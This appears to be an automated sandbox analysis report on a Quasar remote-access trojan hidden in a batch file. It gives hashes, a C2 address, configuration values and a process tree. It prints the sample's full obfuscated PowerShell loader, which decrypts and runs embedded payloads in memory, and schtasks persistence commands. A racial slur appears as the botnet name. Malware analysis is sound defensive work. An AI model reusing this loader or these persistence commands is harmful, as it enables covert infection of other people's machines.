quasar | 79f1c664fbd6e7d4c2b5d80334beada369f6dfd124fb381eb369a5614612d742

General

Target

dfsdfsdfdfd.bat
Size

3.1MB
MD5

0a58848ce845e34a7d2dbc19ce098273
SHA1

94f5f718236ea1e03e3fca2c94379091bcde7b0a
SHA256

79f1c664fbd6e7d4c2b5d80334beada369f6dfd124fb381eb369a5614612d742
SHA512

b8bd4d237def9bee465f59c7e7613992117625495ddbf5882daf1869fb99949da08d488e452d8dafc191cebaff5368cc417988251d08076727d1c24336d9098e
SSDEEP

49152:znu22u/gq5TvoJdoXJ+vtFOxSvvE+6hew+zDkoq7sNQ0TBYVlMeCEvT:B

Score

10^/10

quasar niggger execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Niggger

C2

2600:1700:b1e0:a330:b9ee:2632:e244:9a9:4782

Mutex

2e7c6a16-860e-42fe-9feb-98d63fa4f025

Attributes

encryption_key
D8AAEEC300C8107099917E1DA2F8BCD2181F4CE6
install_name
windowsactivator.exe
log_directory
Logs
reconnect_delay
3000
startup_key
windowsactivator
subdirectory
windowsactivator

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2808-14-0x000002527A960000-0x000002527ADAE000-memory.dmp	family_quasar
behavioral2/memory/2808-17-0x000002527AE50000-0x000002527B174000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe	family_quasar
behavioral2/memory/3616-30-0x00000000003E0000-0x0000000000704000-memory.dmp	family_quasar

Executes dropped EXE 3 IoCs

Processes:

dfsdfsdfdfd.exewindowsactivator.exewindowsactivator.exe

pid process

3616 dfsdfsdfdfd.exe
1568 windowsactivator.exe
1672 windowsactivator.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2808 powershell.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3520 schtasks.exe
4900 schtasks.exe
4456 schtasks.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2808 powershell.exe
2808 powershell.exe

pid	process
3616	dfsdfsdfdfd.exe
1568	windowsactivator.exe
1672	windowsactivator.exe

pid	process
2808	powershell.exe

pid	process
3520	schtasks.exe
4900	schtasks.exe
4456	schtasks.exe

pid	process
2808	powershell.exe
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exedfsdfsdfdfd.exewindowsactivator.exewindowsactivator.exe

description	pid	process
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	3616	dfsdfsdfdfd.exe
Token: SeDebugPrivilege	1672	windowsactivator.exe
Token: SeDebugPrivilege	1568	windowsactivator.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

cmd.exepowershell.exedfsdfsdfdfd.exewindowsactivator.exe

description	pid	process	target process
PID 924 wrote to memory of 2808	924	cmd.exe	powershell.exe
PID 924 wrote to memory of 2808	924	cmd.exe	powershell.exe
PID 2808 wrote to memory of 3616	2808	powershell.exe	dfsdfsdfdfd.exe
PID 2808 wrote to memory of 3616	2808	powershell.exe	dfsdfsdfdfd.exe
PID 2808 wrote to memory of 4900	2808	powershell.exe	schtasks.exe
PID 2808 wrote to memory of 4900	2808	powershell.exe	schtasks.exe
PID 3616 wrote to memory of 3520	3616	dfsdfsdfdfd.exe	schtasks.exe
PID 3616 wrote to memory of 3520	3616	dfsdfsdfdfd.exe	schtasks.exe
PID 3616 wrote to memory of 1568	3616	dfsdfsdfdfd.exe	windowsactivator.exe
PID 3616 wrote to memory of 1568	3616	dfsdfsdfdfd.exe	windowsactivator.exe
PID 2808 wrote to memory of 1672	2808	powershell.exe	windowsactivator.exe
PID 2808 wrote to memory of 1672	2808	powershell.exe	windowsactivator.exe
PID 1672 wrote to memory of 4456	1672	windowsactivator.exe	schtasks.exe
PID 1672 wrote to memory of 4456	1672	windowsactivator.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zajFr+qbrTzqAWrV9u4GkVgssa1V+CAHIWD11CfXvpI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('J0GLdnzPAzFZi0gM9ir5bQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QGFAi=New-Object System.IO.MemoryStream(,$param_var); $hKhJu=New-Object System.IO.MemoryStream; $slkWt=New-Object System.IO.Compression.GZipStream($QGFAi, [IO.Compression.CompressionMode]::Decompress); $slkWt.CopyTo($hKhJu); $slkWt.Dispose(); $QGFAi.Dispose(); $hKhJu.Dispose(); $hKhJu.ToArray();}function execute_function($param_var,$param2_var){ $eryyH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uGztN=$eryyH.EntryPoint; $uGztN.Invoke($null, $param2_var);}$URwGD = 'C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat';$host.UI.RawUI.WindowTitle = $URwGD;$hufpU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($URwGD).Split([Environment]::NewLine);foreach ($eduJa in $hufpU) { if ($eduJa.StartsWith(':: ')) { $GrmAl=$eduJa.Substring(3); break; }}$payloads_var=[string[]]$GrmAl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808

C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe
"C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3520

C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe
"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:4900

C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe
"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jyluw2nw.xls.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe

Filesize
3.1MB

MD5
9f95e09ac3d8d5c57629b5d204a20bb3

SHA1
f2a1983c6901aac83c6362eed2aac982d068027d

SHA256
df6cc34fe0b5395bbbb65e06387fe8e38ee891fcdf29b3c42e34dee3cca9e362

SHA512
6e1bf9cc0f5a01890377bee57abe73486886bf2a3d136f2dca22efca9272d10511c61bbdb0b116d61f7185ef011f969db68c5a42e251fc4e613b3afac0c858aa

Download Submit
C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1672-45-0x000000001BDA0000-0x000000001BE52000-memory.dmp

Filesize
712KB

Download
memory/1672-44-0x000000001B680000-0x000000001B6D0000-memory.dmp

Filesize
320KB

Download
memory/2808-19-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/2808-14-0x000002527A960000-0x000002527ADAE000-memory.dmp

Filesize
4.3MB

Download
memory/2808-17-0x000002527AE50000-0x000002527B174000-memory.dmp

Filesize
3.1MB

Download
memory/2808-0-0x00007FFB473C3000-0x00007FFB473C5000-memory.dmp

Filesize
8KB

Download
memory/2808-13-0x0000025257D90000-0x0000025257D98000-memory.dmp

Filesize
32KB

Download
memory/2808-12-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/2808-10-0x00000252584E0000-0x0000025258502000-memory.dmp

Filesize
136KB

Download
memory/2808-11-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/2808-46-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/3616-30-0x00000000003E0000-0x0000000000704000-memory.dmp

Filesize
3.1MB

Download
memory/3616-29-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/3616-31-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download
memory/3616-42-0x00007FFB473C0000-0x00007FFB47E81000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads